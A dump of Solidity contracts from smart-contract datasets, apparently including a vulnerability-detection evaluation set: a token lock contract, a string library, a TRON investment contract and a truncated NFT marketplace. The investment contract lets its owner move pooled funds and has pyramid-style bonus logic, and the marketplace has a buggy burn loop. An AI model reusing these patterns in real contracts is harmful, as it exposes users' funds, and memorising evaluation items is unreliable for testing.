(now.sub(lockInfo[beneficiary][i].lock_startTime)); if (lockedTime >= lockInfo[beneficiary][i].lock_time) { num = num.add(lockInfo[beneficiary][i].lock_amount); } } return num; } function lockToken(address targetAddr, uint256 lockAmount) public onlyOwner { require(targetAddr != address(0), "DPToken: target address is the zero address"); require(lockAmount > 0, "DPToken: the amount of lock is 0"); uint256 _lockAmount = formatDecimals(lockAmount); lockedAmount[targetAddr] = lockedAmount[targetAddr].add(_lockAmount); emit LockToken(targetAddr, _lockAmount); } function unlockToken(address targetAddr, uint256 lockAmount) public onlyOwner { require(targetAddr != address(0), "DPToken: target address is the zero address"); require(lockAmount > 0, "DPToken: the amount of lock is 0"); uint256 _lockAmount = formatDecimals(lockAmount); if(_lockAmount >= lockedAmount[targetAddr]) { lockedAmount[targetAddr] = 0; } else { lockedAmount[targetAddr] = lockedAmount[targetAddr].sub(_lockAmount); } emit UnlockToken(targetAddr, _lockAmount); } function transfer(address recipient, uint256 amount) public returns (bool) { require(_balances[msg.sender].sub(lockedAmount[msg.sender]) >= amount, "DPToken: transfer amount exceeds the vailable balance of msg.sender"); return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { require(_balances[sender].sub(lockedAmount[sender]) >= amount, "DPToken: transfer amount exceeds the vailable balance of sender"); return super.transferFrom(sender, recipient, amount); } function burn(uint256 amount) public { require(_balances[msg.sender].sub(lockedAmount[msg.sender]) >= amount, "DPToken: destroy amount exceeds the vailable balance of msg.sender"); super.burn(amount); } function burnFrom(address account, uint256 amount) public { require(_balances[account].sub(lockedAmount[account]) >= amount, "DPToken: destroy amount exceeds the vailable balance of account"); super.burnFrom(account, amount); } function batchTransfer(address[] memory addrs, uint256[] memory amounts) public onlyOwner returns(bool) { require(addrs.length == amounts.length, "DPToken: the length of the two arrays is inconsistent"); require(addrs.length <= 150, "DPToken: the number of destination addresses cannot exceed 150"); for(uint256 i = 0;i < addrs.length;i++) { require(addrs[i] != address(0), "DPToken: target address is the zero address"); require(amounts[i] != 0, "DPToken: the number of transfers is 0"); transfer(addrs[i], formatDecimals(amounts[i])); } return true; } function formatDecimals(uint256 value) internal pure returns (uint256) { return value.mul(10 ** uint256(decimals)); } }
166,395
12,077
7d70f9edfb5af33e19aa5d683ae87a9c00f97fb0a3615e0e482209be79f062e1
23,780
.sol
Solidity
false
343353480
Assetonchain-Technology-Ltd/eQualification
38263a05112a194feadde01f4e81aaa5f5813bfa
contracts/Utils/strings.sol
3,731
14,361
pragma solidity >=0.4.14; // SPDX-License-Identifier: GPL-3.0-or-later library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function toSlice(string memory self) internal pure returns (slice memory) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } function copy(slice memory self) internal pure returns (slice memory) { return slice(self._len, self._ptr); } function toString(slice memory self) internal pure returns (string memory) { string memory ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } function len(slice memory self) internal pure returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function empty(slice memory self) internal pure returns (bool) { return self._len == 0; } function compare(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint256 mask = uint256(-1); // 0xffff... if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } function equals(slice memory self, slice memory other) internal pure returns (bool) { return compare(self, other) == 0; } function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function nextRune(slice memory self) internal pure returns (slice memory ret) { nextRune(self, ret); } function ord(slice memory self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } function startsWith(slice memory self, slice memory needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } function endsWith(slice memory self, slice memory needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } uint selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } function until(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } uint selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } ptr = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr <= selfptr) return selfptr; ptr--; assembly { ptrdata := and(mload(ptr), mask) } } return ptr + needlelen; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } function find(slice memory self, slice memory needle) internal pure returns (slice memory) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } function split(slice memory self, slice memory needle) internal pure returns (slice memory token) { split(self, needle, token); } function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) { rsplit(self, needle, token); } function count(slice memory self, slice memory needle) internal pure returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } function contains(slice memory self, slice memory needle) internal pure returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } function concat(slice memory self, slice memory other) internal pure returns (string memory) { string memory ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } function join(slice memory self, slice[] memory parts) internal pure returns (string memory) { if (parts.length == 0) return ""; uint i; uint length = self._len * (parts.length - 1); for(i = 0; i < parts.length; i++) length += parts[i]._len; string memory ret = new string(length); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } }
228,246
12,078
5bf065baab8e256dc73d0b9201ac541f504b2aee26c0dbd1c418c9481081ea92
28,374
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TG/TGgi1unoyCFj6DjbBwPW45tKjs8hazqX9o_MyCoin.sol
4,309
15,113
//SourceUnit: MyCoin.sol pragma solidity 0.5.4; interface ITRC20 { function transfer(address recipient, uint256 amount) external returns (uint256); function balanceOf(address account) external view returns (uint256); function decimals() external view returns (uint8); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract MyCoin { ITRC20 usdt; ITRC20 mycoin; address lab; address team; // lab_address : TMc5g2M2PRyoG5pgZncJDV5SNrr1EXUNvR; // team_address : TYtbwKkbLUb1eUhFV3BAR8jN9za9uXFcwp; constructor(ITRC20 _usdt,ITRC20 _mycoin,address _team,address _lab) public { usdt = _usdt; mycoin = _mycoin; team = _team; lab = _lab; owner = msg.sender; } address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } mapping(address => uint) private usdtpermissiondata; mapping(address => uint) private usdteddata; mapping(address => uint) private usdtkeydata; mapping(address => uint) private mycoinpermissiondata; mapping(address => uint) private mycoineddata; mapping(address => uint) private mycoinkeydata; mapping(address => uint) private upinvest; mapping(address => uint) private upamountnotreleased; mapping(address => uint) private upachievementamount; mapping(address => uint) private meetdata; mapping(address => uint) private uprecommendbonus; mapping(address => uint) private upcompetitionawardc; mapping(address => uint) private vdata; mapping(address => uint) private udata; mapping(address => uint) private meetweekdata; //toteam using SafeMath for uint; function toteam(uint payamount) onlyOwner public returns (bool success) { address toaddr = team; usdt.transfer(toaddr,payamount); return true; } //tolab function tolab(uint payamount) onlyOwner public returns (bool success) { address toaddr = lab; usdt.transfer(toaddr,payamount); return true; } //Authorized user account limit function usdtpermission(address[] memory addresses,uint[] memory values,uint[] memory usdtkeys) onlyOwner public { require(addresses.length > 0); require(values.length > 0); require(usdtkeys.length > 0); for(uint32 i=0;i<addresses.length;i++){ uint value=values[i]; uint usdtkey=usdtkeys[i]; address iaddress=addresses[i]; usdtpermissiondata[iaddress] = value; usdtkeydata[iaddress] = usdtkey; } } //Authorized user account limit function addusdtpermission(address uaddress,uint value,uint usdtkey) onlyOwner public { usdtpermissiondata[uaddress] = value; usdtkeydata[uaddress] = usdtkey; } //The user obtains the account balance independently function getusdtPermission(address uaddress) view public returns(uint) { return usdtpermissiondata[uaddress]; } //Show how many users have withdrawn to their wallets function getusdteddata(address uaddress) view public returns(uint) { return usdteddata[uaddress]; } //Convenient for users to check the USDT balance of their wallet function usdtbalanceOf(address uaddress) view public returns(uint) { usdt.balanceOf(uaddress); return usdt.balanceOf(uaddress); } //Users can easily send their bonuses to their account wallets. function usdttransferOut(uint amount,uint usdtkey) public{ uint usdtpermissiondatauser = usdtpermissiondata[address(msg.sender)]; uint usdtkeydatauser = usdtkeydata[address(msg.sender)]; require(usdtpermissiondatauser >= amount); require(usdtkeydatauser == usdtkey); if (usdtpermissiondatauser >= amount) { uint cashamount = amount.mul(9).div(10); usdtpermissiondata[address(msg.sender)]=usdtpermissiondata[address(msg.sender)].sub(amount); usdteddata[address(msg.sender)]=usdteddata[address(msg.sender)].add(amount); usdt.transfer(address(msg.sender),cashamount); } } //Authorized user account limit function mycoinpermission(address[] memory addresses,uint[] memory values,uint[] memory mycoinkeys) onlyOwner public returns (bool success) { require(addresses.length > 0); require(values.length > 0); require(mycoinkeys.length > 0); for(uint32 i=0;i<addresses.length;i++){ uint value=values[i]; uint mycoinkey=mycoinkeys[i]; address iaddress=addresses[i]; mycoinpermissiondata[iaddress] = value; mycoinkeydata[iaddress] = mycoinkey; } return true; } //Authorized user account limit function addmycoinpermission(address uaddress,uint value,uint mycoinkey) onlyOwner public { mycoinpermissiondata[uaddress] = value; mycoinkeydata[uaddress] = mycoinkey; } //The user obtains the account balance independently function getmycoinPermission(address uaddress) view public returns(uint) { return mycoinpermissiondata[uaddress]; } //Show how many users have withdrawn to their wallets function getmycoineddata(address uaddress) view public returns(uint) { return mycoineddata[uaddress]; } //Convenient for users to check the USDT balance of their wallet function mycoinbalanceOf(address uaddress) view public returns(uint) { mycoin.balanceOf(uaddress); return mycoin.balanceOf(uaddress); } //Users can easily send their bonuses to their account wallets. function mycointransferOut(uint amount,uint mycoinkey) public{ uint mycoinpermissiondatauser = mycoinpermissiondata[address(msg.sender)]; uint mycoinkeydatauser = mycoinkeydata[address(msg.sender)]; require(mycoinpermissiondatauser >= amount); require(mycoinkeydatauser == mycoinkey); if (mycoinpermissiondatauser >= amount) { uint cashamount = amount.mul(9).div(10); mycoinpermissiondata[address(msg.sender)] = mycoinpermissiondata[address(msg.sender)].sub(amount); mycoineddata[address(msg.sender)] = mycoineddata[address(msg.sender)].add(amount); mycoin.transfer(address(msg.sender),cashamount); } } function invest(uint investmentamount,uint dynamicuser,uint frequency) public returns (bool success){ uint meetmax = investmentamount; uint userfrozenamount; uint achievementamount; uint day; uint state; uint getmyd; uint released; uint Pauserelease; upinvest[address(msg.sender)] = meetmax; if (investmentamount>10){ userfrozenamount = investmentamount; }else{ userfrozenamount = investmentamount.mul(150).div(100); } if (dynamicuser==1){ userfrozenamount = investmentamount.mul(300).div(100); } if (frequency==1){ achievementamount = investmentamount.mul(90).div(100); }else{ achievementamount = investmentamount.mul(90).div(200); } upamountnotreleased[address(msg.sender)] = userfrozenamount; upachievementamount[address(msg.sender)] = achievementamount; meetdata[address(msg.sender)] = meetdata[address(msg.sender)].add(userfrozenamount); if (day > 30 && state==0){ state=1; } if (investmentamount >= 30){ getmyd=1; } if (released >= achievementamount.mul(70).div(100)){ Pauserelease=1; } return true; } function recommendation(address fromaddr,uint investmentamount) public onlyOwner returns (bool success){ uint bonus = investmentamount.mul(5).div(100); uprecommendbonus[fromaddr] = bonus; return true; } function meet(uint investmentamount) public onlyOwner view returns (uint){ uint competitionawardc = investmentamount.mul(10).div(100); if (vdata[address(msg.sender)]>0){ competitionawardc = investmentamount.mul(2).div(100); } if (udata[address(msg.sender)] < competitionawardc){ competitionawardc = udata[address(msg.sender)]; } return competitionawardc; } function meetmanage(address[] memory fromaddresses, uint amountweek) public onlyOwner returns (uint){ uint amount = amountweek.mul(3).div(100); require(fromaddresses.length > 0); require(amountweek > 0); for(uint32 i=0;i<10;i++){ address iaddress=fromaddresses[i]; meetweekdata[iaddress]=amount; } return amount; } function becomeM(address addresss, uint achievementbig, uint achievementsmall) public onlyOwner returns (uint){ uint level; if (achievementbig>=100000 && achievementsmall>=50000){ level=1; } if(achievementbig>=500000 && achievementsmall>=250000){ level=2; } if(achievementbig>=2000000 && achievementsmall>=1000000){ level=3; } vdata[addresss]=level; return level; } function forlevelbonus(uint weektotleamount,uint weekgas,uint userlevel,uint performancea,uint performanceb,uint performancec) public onlyOwner view returns(bool success){ uint per; uint levelbonus; uint allamount = weektotleamount + weekgas.mul(10); allamount = allamount.mul(2).div(100); uint allperformancea = performancea + performanceb + performancec; uint allperformanceb = performanceb + performancec; uint allperformancec = performancec; if (userlevel == 1){ // M1 and M2 and M3 enjoy; per = allamount/allperformancea; levelbonus = performancea * per; }else if (userlevel == 2){ // M2 and M3 enjoy; per = allamount/allperformanceb; levelbonus = performanceb * per; }else if (userlevel == 3){ // M3 enjoy; per = allamount/allperformancec; levelbonus = performancec * per; } return true; } function recommendation(uint amount,uint userlevel) public onlyOwner view returns(bool auccess){ uint gradationlevel; uint bonus; if (userlevel == 1){ gradationlevel = 3; // M1 enjoy 3/100; }else if (userlevel == 2){ gradationlevel = 6; // M2 enjoy 6/100; }else if (userlevel == 3){ gradationlevel = 9 ; // M3 enjoy 9/100; } bonus = amount * gradationlevel.div(100) ; return true; } function Dividends(uint amount,uint reservefunds,uint releasefunds, uint contractfunds,uint nowday) public onlyOwner view returns(bool auccess){ uint releaseratio; uint dividendratio; uint perdividend; uint Sedimentation; uint maxSedimentation; maxSedimentation =Sedimentation.mul(60).div(100); reservefunds=10; reservefunds=reservefunds.div(1000); releaseratio=amount/contractfunds.mul(1000); if (nowday==1 && releaseratio>=40){ dividendratio=2; } if(nowday==2 && releaseratio>=80){ dividendratio=4; } if(nowday==3 && releaseratio>=120){ dividendratio=6; } if(nowday==4 && releaseratio>=160){ dividendratio=8; } if(nowday==5){ if (releaseratio>=200){ dividendratio=1000; }else if(releaseratio>=190 && releaseratio<200){ dividendratio=950; }else if(releaseratio>=180 && releaseratio<190){ dividendratio=900; }else if(releaseratio>=170 && releaseratio<180){ dividendratio=850; }else if(releaseratio>=160 && releaseratio<170){ dividendratio=800; }else if(releaseratio>=150 && releaseratio<160){ dividendratio=750; }else if(releaseratio>=140 && releaseratio<150){ dividendratio=700; }else if(releaseratio>=130 && releaseratio<140){ dividendratio=650; }else if(releaseratio>=120 && releaseratio<130){ dividendratio=600; }else if(releaseratio>=110 && releaseratio<120){ dividendratio=550; }else if(releaseratio>=100 && releaseratio<110){ dividendratio=500; }else if(releaseratio>=90 && releaseratio<100){ dividendratio=450; }else if(releaseratio>=80 && releaseratio<90){ dividendratio=400; }else if(releaseratio>=70 && releaseratio<80){ dividendratio=350; }else if(releaseratio>=60 && releaseratio<70){ dividendratio=300; }else if(releaseratio>=50 && releaseratio<60){ dividendratio=250; }else if(releaseratio>=40 && releaseratio<50){ dividendratio=200; }else if(releaseratio>=30 && releaseratio<40){ dividendratio=150; }else if(releaseratio>=20 && releaseratio<30){ dividendratio=100; }else if(releaseratio>=10 && releaseratio<20){ dividendratio=50; }else if(releaseratio<10){ dividendratio=0; } } perdividend = releasefunds*dividendratio.div(10000); uint day; uint tom; uint nperdividend; uint islocked; uint Computationalpower; if (dividendratio<60){ day = day + 1; } if (day>30){ islocked = 1; tom = 1; } if (day>5){ islocked = 2; tom = 2; } if (tom == 1){ Computationalpower = 3; for(uint32 i=0;i<3;i++){ nperdividend=3; } } if (tom == 2){ nperdividend=dividendratio.mul(5).div(100); } return true; } function buyandsale(uint amount) public onlyOwner view returns(bool auccess){ uint tolabamount; uint tosedimentation; uint guarantee; uint guaranteeproportion; tolabamount = amount.mul(2).div(100); tosedimentation = amount.mul(5).div(100); guarantee = amount.mul(8).div(100); if (guaranteeproportion<80){ guaranteeproportion=guaranteeproportion+tosedimentation.mul(20).div(100); } if (guaranteeproportion>=81){ guaranteeproportion=0; } return true; } }
298,899
12,079
0366ad771052d38c1131beabb27b2cda3f4996476d0ade3cf4c5d155a2c39d2e
15,916
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x79b9d863e86adcab6221efd8676e36bd198be64b.sol
4,274
14,582
pragma solidity ^0.5.8; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract IERC721 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } contract ERC20BasicInterface { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); uint8 public decimals; } contract Bussiness is Ownable { using SafeMath for uint256; address public ceoAddress = address(0x2076A228E6eB670fd1C604DE574d555476520DB7); IERC721 public erc721Address = IERC721(0x5D00d312e171Be5342067c09BaE883f9Bcb2003B); ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba); uint256 public ETHFee = 0; // 25 = 2,5 % uint256 public Percen = 1000; uint256 public HBWALLETExchange = 21; // cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2 uint256 public limitETHFee = 0; uint256 public limitHBWALLETFee = 0; uint256 public hightLightFee = 30000000000000000; constructor() public {} struct Price { address payable tokenOwner; uint256 price; uint256 fee; uint256 hbfee; bool isHightlight; } uint256[] public arrayTokenIdSale; mapping(uint256 => Price) public prices; modifier onlyCeoAddress() { require(msg.sender == ceoAddress); _; } modifier isOwnerOf(uint256 _tokenId) { require(erc721Address.ownerOf(_tokenId) == msg.sender); _; } // Move the last element to the deleted spot. // Delete the last element, then correct the length. function _burnArrayTokenIdSale(uint8 index) internal { if (index >= arrayTokenIdSale.length) return; for (uint i = index; i<arrayTokenIdSale.length-1; i++){ arrayTokenIdSale[i] = arrayTokenIdSale[i+1]; } delete arrayTokenIdSale[arrayTokenIdSale.length-1]; arrayTokenIdSale.length--; } function _burnArrayTokenIdSaleByArr(uint8[] memory arr) internal { for(uint8 i; i<arr.length; i++){ _burnArrayTokenIdSale(i); } } function ownerOf(uint256 _tokenId) public view returns (address){ return erc721Address.ownerOf(_tokenId); } function balanceOf() public view returns (uint256){ return address(this).balance; } function getApproved(uint256 _tokenId) public view returns (address){ return erc721Address.getApproved(_tokenId); } function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint _hbfee, bool _isHightLight) internal { prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight); arrayTokenIdSale.push(_tokenId); } function calPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns(uint256, uint256) { uint256 ethfee; uint256 _hightLightFee = 0; uint256 ethNeed; if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) { _hightLightFee = hightLightFee; } if (prices[_tokenId].price < _ethPrice) { ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen); if(prices[_tokenId].price == 0) { if (ethfee >= limitETHFee) { ethNeed = ethfee.add(_hightLightFee); } else { ethNeed = limitETHFee.add(_hightLightFee); } } } return (ethNeed, _hightLightFee); } function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public payable isOwnerOf(_tokenId) { require(prices[_tokenId].price != _ethPrice); uint256 ethfee; uint256 _hightLightFee = 0; if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) { _hightLightFee = hightLightFee; } if (prices[_tokenId].price < _ethPrice) { ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen); if(prices[_tokenId].price == 0) { if (ethfee >= limitETHFee) { require(msg.value == ethfee.add(_hightLightFee)); } else { require(msg.value == limitETHFee.add(_hightLightFee)); ethfee = limitETHFee; } } ethfee = ethfee.add(prices[_tokenId].fee); } else ethfee = _ethPrice.mul(ETHFee).div(Percen); setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight == 1); } function calPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns (uint256){ uint fee; uint256 ethfee; uint _hightLightFee = 0; uint hbNeed; if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) { // _hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16); _hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16); } if (prices[_tokenId].price < _ethPrice) { ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen); fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16); // ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18) if(prices[_tokenId].price == 0) { if (fee >= limitHBWALLETFee) { hbNeed = fee.add(_hightLightFee); } else { hbNeed = limitHBWALLETFee.add(_hightLightFee); } } } return hbNeed; } function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public isOwnerOf(_tokenId) { require(prices[_tokenId].price != _ethPrice); uint fee; uint256 ethfee; uint _hightLightFee = 0; if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) { _hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16); } if (prices[_tokenId].price < _ethPrice) { ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen); fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16); // ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18) if(prices[_tokenId].price == 0) { if (fee >= limitHBWALLETFee) { require(hbwalletToken.transferFrom(msg.sender, address(this), fee.add(_hightLightFee))); } else { require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee.add(_hightLightFee))); fee = limitHBWALLETFee; } } fee = fee.add(prices[_tokenId].hbfee); } else { ethfee = _ethPrice.mul(ETHFee).div(Percen); fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16); } 